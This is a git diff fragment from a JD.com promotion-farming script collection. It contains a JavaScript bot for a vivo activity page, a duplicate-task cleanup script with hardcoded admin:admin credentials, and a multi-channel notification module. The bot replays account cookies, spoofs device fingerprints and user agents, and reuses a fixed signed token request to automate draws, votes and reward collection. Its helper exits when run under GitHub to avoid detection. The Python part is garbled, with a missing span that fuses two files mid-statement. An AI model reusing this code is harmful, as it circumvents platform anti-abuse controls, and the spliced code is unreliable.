getPostRequest(url,body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + if(data){ + dealReturn(type, data); + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function dealReturn(type, data) { + try { + data = JSON.parse(data); + }catch (e) { + console.log(`执行任务异常`); + console.log(data); + $.runFalag = false; + $.canScore = false; + } + switch (type) { + case 'getMyPing': + if (data.data && data.data.secretPin) { + $.pin = data.data.secretPin + $.nickname = data.data.nickname + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'activityContent': + if (data.data && data.result && data.count === 0) { + $.activityData = data.data; + } else { + console.log(JSON.stringify(data)); + } + break; + case 'saveTask': + if (data.result === true && data.count === 0) { + console.log(`执行成功,获得京豆:${data.data.beans || 0}`); + } else { + console.log(JSON.stringify(data)) + } + //console.log(JSON.stringify(data)) + break; + case 'insxintiao': + if (data.result === true && data.count === 0) { + console.log(`投票成功`); + }else{ + $.canScore = false; + } + //console.log(JSON.stringify(data)); + break; + case 'draw': + if (data.result === true && data.count === 0) { + let wdsrvo = data.data.wdsrvo; + if(wdsrvo.drawInfoType === 6){ + console.log(`获得京豆:${wdsrvo.name}`); + }else if(wdsrvo.drawInfoType === 0){ + console.log(`啥都没有抽到`); + }else{ + console.log(`获得其他`); + } + } else { + $.score2Flag = false; + //console.log(JSON.stringify(data)) + } + console.log(JSON.stringify(data)) + break; + case 'insertCrmPageVisit': + console.log(JSON.stringify(data)) + break; + case 'getSimpleActInfoVo': + console.log(JSON.stringify(data)) + break; + case 'guafen': + if (data.result === true && data.count === 0) { + console.log(`瓜分获得:${data.data.beans || '0'}`) + } + console.log(JSON.stringify(data)) + break; + default: + console.log(JSON.stringify(data)); + } +} + +function getPostRequest(url,body) { + let headers = { + 'Host': 'lzdz1-isv.isvjcloud.com', + 'Accept': 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'content-type': 'application/x-www-form-urlencoded', + 'Origin':'https://lzdz1-isv.isvjcloud.com', + 'user-agent': $.UA, + 'Connection':'keep-alive', + 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/activity/dz2109100009716201?activityId=dz2109100009716201`, + 'Cookie': $.cookie, + } + + return {url: url, method: `POST`, headers: headers, body: body}; +} +async function getUserInfo() { + const url = `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`; + const method = `POST`; + const headers = { + 'Host' : `lzdz1-isv.isvjcloud.com`, + 'X-Requested-With' : `XMLHttpRequest`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Content-Type' : `application/x-www-form-urlencoded`, + 'Origin' : `https://lzdz1-isv.isvjcloud.com`, + 'User-Agent' : `JD4iPhone/162751 (iPhone; iOS 14.6; Scale/3.00)`, + 'Cookie' : $.cookie , + 'Referer' : `https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/activity/${$.activityID}`, + 'Accept-Language' : `zh-cn`, + 'Accept' : `application/json` + }; + const body = `pin=${encodeURIComponent($.pin)}`; + let myRequest = {url: url, method: method, headers: headers, body: body}; + return new Promise(resolve => { + $.post(myRequest, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + } + else { + if(data){ + data = JSON.parse(data); + if(data.count === 0 && data.result){ + $.attrTouXiang = data.data.yunMidImageUrl + != data.data.yunMidImageUrl ? $.attrTouXiang = data.data.yunMidImageUrl : $.attrTouXiang = "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" + } + } + } + } catch (e) { + console.log(e, resp) + } finally { + resolve(); + } + }) + }) +} +function accessLogWithAD() { + let config = { + url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, + headers: { + 'Host': 'lzdz1-isv.isvjcloud.com', + 'Accept': 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'content-type': 'application/x-www-form-urlencoded', + 'Origin':'https://lzdz1-isv.isvjcloud.com', + 'user-agent': $.UA, + 'Connection':'keep-alive', + 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/activity/dz2109100009716201?activityId=dz2109100009716201`, + 'Cookie': $.cookie, + }, + body:`venderId=${$.shopid}&code=99&pin=${encodeURIComponent($.pin)}&activityId=${$.activityID}&pageUrl=https%3A%2F%2Flzdz1-isv.isvjcloud.com%2Fdingzhi%2Fvivo%2Fiqoojieyapa%2Factivity%2F492728%3FactivityId%3Ddz2109100009716201%26shareUuid%3D%26adsource%3Dnull%26shareuserid4minipg%3D${encodeURIComponent($.pin)}%26shopid%3D1000085868%26lng%3D121.330619%26lat%3D31.292002%26sid%3Db1f8c732fcae5db1c375c5f51e92287w%26un_area%3D2_2826_51942_0&subType=app&adSource=null` + } + return new Promise(resolve => { + $.post(config, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.cookie = $.oldcookie; + if ($.isNode()) + for (let ck of resp['headers']['set-cookie']) { + $.cookie = `${$.cookie}${ck.split(";")[0]};` + } + else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + $.cookie = `${$.cookie}${ck.split(";")[0]};` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getActCk() { + let config = { + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/activity/dz2109100009716201`, + headers: { + 'Host': 'lzdz1-isv.isvjcloud.com', + 'Accept': 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'user-agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': $.cookie, + } + } + return new Promise(resolve => { + $.get(config, (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.cookie = $.oldcookie; + if ($.isNode()) + for (let ck of resp['headers']['set-cookie']) { + $.cookie = `${$.cookie}${ck.split(";")[0]};` + } + else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + $.cookie = `${$.cookie}${ck.split(";")[0]};` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'area=2_2830_51828_0&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone9%2C2&eid=eidI42470115RDhDRjM1NjktODdGQi00RQ%3D%3DB3mSBu%2BcGp7WhKUUyye8/kqi1lxzA3Dv6a89ttwC7YFdT6JFByyAtAfO0TOmN9G2os20ud7RosfkMq80&isBackground=N&joycious=95&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=5a8a5743a5d2a4110a8ed396bb047471ea120c6a&osVersion=14.6&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=d24754441cd36764a1c2a2d98a2d45dd&st=1628758493429&sv=122', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': $.cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.token = data['token'] + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/3364463029;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + "url": `${url}`, + "timeout": 10000, + "headers": { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data || []); + } + }) + await $.wait(10000) + resolve(); + }) +} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_delete.py b/backUp/jd_delete.py new file mode 100644 index 0000000..fed12af --- /dev/null +++ b/backUp/jd_delete.py @@ -0,0 +1,113 @@ +# -*- coding:utf-8 -*- +''' +cron: 0 0 0 6 * +new Env('禁用重复任务'); +''' + +import json +import os, sys +import requests +import time + +ip="localhost" + +def loadSend(): + print("加载推送功能") + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/deleteDuplicateTasksNotify.py"): + try: + from deleteDuplicateTasksNotify import send + except: + print("加载通知服务失败~") + +headers={ + "Accept": "application/json", + "Authorization": "Basic YWRtaW46YWRtaW4=", + "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36", +} + +def getTaskList(): + t = round(time.time() * 1000) + url = "http://%s:5700/api/crons?searchValue=&t=%d" % (ip, t) + response = requests.get(url=url, headers=headers) + responseContent=json.loads(response.content.decode('utf-8')) + if responseContent['code']==200: + taskList= responseContent['data'] + return taskList + else: + # 没有获取到taskList,返回空 + return [] + + +def getDuplicate(taskList): + wholeNames={} + duplicateID=[] + for task in taskList: + if task['name'] in wholeNames.keys(): + duplicateID.append(task['_id']) + else: + wholeNames[task['name']] = 1 + return duplicateID + + +def getData(duplicateID): + rawData = "[" + count=0 + for id in duplicateID: + rawData += "\"%s\""%id + if count 1: + PUSH_PLUS_TOKEN = os.environ["PUSH_PLUS_TOKEN"] + # print("已获取并使用Env环境 PUSH_PLUS_TOKEN") +# 获取企业微信应用推送 QYWX_AM +if "QYWX_AM" in os.environ: + if len(os.environ["QYWX_AM"]) > 1: + QYWX_AM = os.environ["QYWX_AM"] + # print("已获取并使用Env环境 QYWX_AM") + +if BARK: + notify_mode.append('bark') + # print("BARK 推送打开") +if SCKEY: + notify_mode.append('sc_key') + # print("Server酱 推送打开") +if TG_BOT_TOKEN and TG_USER_ID: + notify_mode.append('telegram_bot') + # print("Telegram 推送打开") +if DD_BOT_ACCESS_TOKEN and DD_BOT_SECRET: + notify_mode.append('dingding_bot') + # print("钉钉机器人 推送打开") +if QQ_SKEY and QQ_MODE: + notify_mode.append('coolpush_bot') + # print("QQ机器人 推送打开") + +if PUSH_PLUS_TOKEN: + notify_mode.append('pushplus_bot') + # print("微信推送Plus机器人 推送打开") +if QYWX_AM: + notify_mode.append('wecom_app') + # print("企业微信机器人 推送打开") + + +def message(str_msg): + global message_info + print(str_msg) + message_info = "{}\n{}".format(message_info, str_msg) + sys.stdout.flush() + +def bark(title, content): + print("\n") + if not BARK: + print("bark服务的bark_token未设置!!\n取消推送") + return + print("bark服务启动") + try: + response = requests.get( + f"""https://api.day.app/{BARK}/{title}/{urllib.parse.quote_plus(content)}""").json() + if response['code'] == 200: + print('推送成功!') + else: + print('推送失败!') + except: + print('推送失败!') + +def serverJ(title, content): + if not SCKEY: + print("server酱服务的SCKEY未设置!!\n取消推送") + return + # print("serverJ服务启动") + data = { + "text": title, + "desp": content.replace("\n", "\n\n") + } + response = requests.post(f"https://sc.ftqq.com/{SCKEY}.send", data=data).json() + if response['code'] == 0: + print('推送成功!') + else: + print('推送失败!') + +# tg通知 +def telegram_bot(title, content): + try: + print("\n") + bot_token = TG_BOT_TOKEN + user_id = TG_USER_ID + if not bot_token or not user_id: + print("tg服务的bot_token或者user_id未设置!!\n取消推送") + return + print("tg服务启动") + if TG_API_HOST: + if 'http' in TG_API_HOST: + url = f"{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" + else: + url = f"https://{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" + else: + url = f"https://api.telegram.org/bot{TG_BOT_TOKEN}/sendMessage" + + headers = {'Content-Type': 'application/x-www-form-urlencoded'} + payload = {'chat_id': str(TG_USER_ID), 'text': f'{title}\n\n{content}', 'disable_web_page_preview': 'true'} + proxies = None + if TG_PROXY_IP and TG_PROXY_PORT: + proxyStr = "http://{}:{}".format(TG_PROXY_IP, TG_PROXY_PORT) + proxies = {"http": proxyStr, "https": proxyStr} + try: + response = requests.post(url=url, headers=headers, params=payload, proxies=proxies).json() + except: + print('推送失败!') + if response['ok']: + print('推送成功!') + else: + print('推送失败!') + except Exception as e: + print(e) + +def dingding_bot(title, content): + timestamp = str(round(time.time() * 1000)) # 时间戳 + secret_enc = DD_BOT_SECRET.encode('utf-8') + string_to_sign = '{}\n{}'.format(timestamp, DD_BOT_SECRET) + string_to_sign_enc = string_to_sign.encode('utf-8') + hmac_code = hmac.new(secret_enc, string_to_sign_enc, digestmod=hashlib.sha256).digest() + sign = urllib.parse.quote_plus(base64.b64encode(hmac_code)) # 签名 + print('开始使用 钉钉机器人 推送消息...', end='') + url = f'https://oapi.dingtalk.com/robot/send?access_token={DD_BOT_ACCESS_TOKEN}×tamp={timestamp}&sign={sign}' + headers = {'Content-Type': 'application/json;charset=utf-8'} + data = { + 'msgtype': 'text', + 'text': {'content': f'{title}\n\n{content}'} + } + response = requests.post(url=url, data=json.dumps(data), headers=headers, timeout=15).json() + if not response['errcode']: + print('推送成功!') + else: + print('推送失败!') + +def coolpush_bot(title, content): + print("\n") + if not QQ_SKEY or not QQ_MODE: + print("qq服务的QQ_SKEY或者QQ_MODE未设置!!\n取消推送") + return + print("qq服务启动") + url=f"https://qmsg.zendee.cn/{QQ_MODE}/{QQ_SKEY}" + payload = {'msg': f"{title}\n\n{content}".encode('utf-8')} + response = requests.post(url=url, params=payload).json() + if response['code'] == 0: + print('推送成功!') + else: + print('推送失败!') +# push推送 +def pushplus_bot(title, content): + try: + print("\n") + if not PUSH_PLUS_TOKEN: + print("PUSHPLUS服务的token未设置!!\n取消推送") + return + print("PUSHPLUS服务启动") + url = 'http://www.pushplus.plus/send' + data = { + "token": PUSH_PLUS_TOKEN, + "title": title, + "content": content + } + body = json.dumps(data).encode(encoding='utf-8') + headers = {'Content-Type': 'application/json'} + response = requests.post(url=url, data=body, headers=headers).json() + if response['code'] == 200: + print('推送成功!') + else: + print('推送失败!') + except Exception as e: + print(e) +# 企业微信 APP 推送 +def wecom_app(title, content): + try: + if not QYWX_AM: + print("QYWX_AM 并未设置!!\n取消推送") + return + QYWX_AM_AY = re.split(',', QYWX_AM) + if 4 < len(QYWX_AM_AY) > 5: + print("QYWX_AM 设置错误!!\n取消推送") + return + corpid = QYWX_AM_AY[0] + corpsecret = QYWX_AM_AY[1] + touser = QYWX_AM_AY[2] + agentid = QYWX_AM_AY[3] + try: + media_id = QYWX_AM_AY[4] + except: + media_id = '' + wx = WeCom(corpid, corpsecret, agentid) + # 如果没有配置 media_id 默认就以 text 方式发送 + if not media_id: + message = title + '\n\n' + content + response = wx.send_text(message, touser) + else: + response = wx.send_mpnews(title, content, media_id, touser) + if response == 'ok': + print('推送成功!') + else: + print('推送失败!错误信息如下:\n', response) + except Exception as e: + print(e) + +class WeCom: + def __init__(self, corpid, corpsecret, agentid): + self.CORPID = corpid + self.CORPSECRET = corpsecret + self.AGENTID = agentid + + def get_access_token(self): + url = 'https://qyapi.weixin.qq.com/cgi-bin/gettoken' + values = {'corpid': self.CORPID, + 'corpsecret': self.CORPSECRET, + } + req = requests.post(url, params=values) + data = json.loads(req.text) + return data["access_token"] + + def send_text(self, message, touser="@all"): + send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() + send_values = { + "touser": touser, + "msgtype": "text", + "agentid": self.AGENTID, + "text": { + "content": message + }, + "safe": "0" + } + send_msges = (bytes(json.dumps(send_values), 'utf-8')) + respone = requests.post(send_url, send_msges) + respone = respone.json() + return respone["errmsg"] + + def send_mpnews(self, title, message, media_id, touser="@all"): + send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() + send_values = { + "touser": touser, + "msgtype": "mpnews", + "agentid": self.AGENTID, + "mpnews": { + "articles": [ + { + "title": title, + "thumb_media_id": media_id, + "author": "Author", + "content_source_url": "", + "content": message.replace('\n', '
'), + "digest": message + } + ] + } + } + send_msges = (bytes(json.dumps(send_values), 'utf-8')) + respone = requests.post(send_url, send_msges) + respone = respone.json() + return respone["errmsg"] + +def send(title, content): + """ + 使用 bark, telegram bot, dingding bot, serverJ 发送手机推送 + :param title: + :param content: + :return: + """ + for i in notify_mode: + if i == 'bark': + if BARK: + bark(title=title, content=content) + else: + print('未启用 bark') + continue + if i == 'sc_key': + if SCKEY: + serverJ(title=title, content=content) + else: + print('未启用 Server酱') + continue + elif i == 'dingding_bot': + if DD_BOT_ACCESS_TOKEN and DD_BOT_SECRET: + dingding_bot(title=title, content=content) + else: + print('未启用 钉钉机器人') + continue + elif i == 'telegram_bot': + if TG_BOT_TOKEN and TG_USER_ID: + telegram_bot(title=title, content=content) + else: + print('未启用 telegram机器人') + continue + elif i == 'coolpush_bot': + if QQ_SKEY and QQ_MODE: + coolpush_bot(title=title, content=content) + else: + print('未启用 QQ机器人') + continue + elif i == 'pushplus_bot': + if PUSH_PLUS_TOKEN: + pushplus_bot(title=title, content=content) + else: + print('未启用 PUSHPLUS机器人') + continue + elif i == 'wecom_app': + if QYWX_AM: + wecom_app(title=title, content=content) + else: + print('未启用企业微信应用消息推送') + continue + else: + print('此类推送方式不存在') + + +def main(): + send('title', 'content') + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/backUp/jd_djyyj.js b/backUp/jd_djyyj.js new file mode 100644 index 0000000..fc29276 --- /dev/null +++ b/backUp/jd_djyyj.js @@ -0,0 +1,20 @@ +/* +tgchannel:https://t.me/Ariszy_Script +github:https://github.com/Ariszy/script +boxjs:https://raw.githubusercontent.com/Ariszy/Private-Script/master/Ariszy.boxjs.json + + 【Q】 +50 1 * * * https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_djyyj.js, tag= 电竞预言家 + + 【L】 +cron "50 1 * * *" script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_djyyj.js,tag= 电竞预言家 + + 【S】 +电竞预言家 = type=cron,cronexp="50 1 * * *",wake-system=1,timeout=3600,script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_djyyj.js + + 【R】 +电竞预言家= type=cron,script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_djyyj.js, cronexpr="50 1 * * *", timeout=3600, enable=true 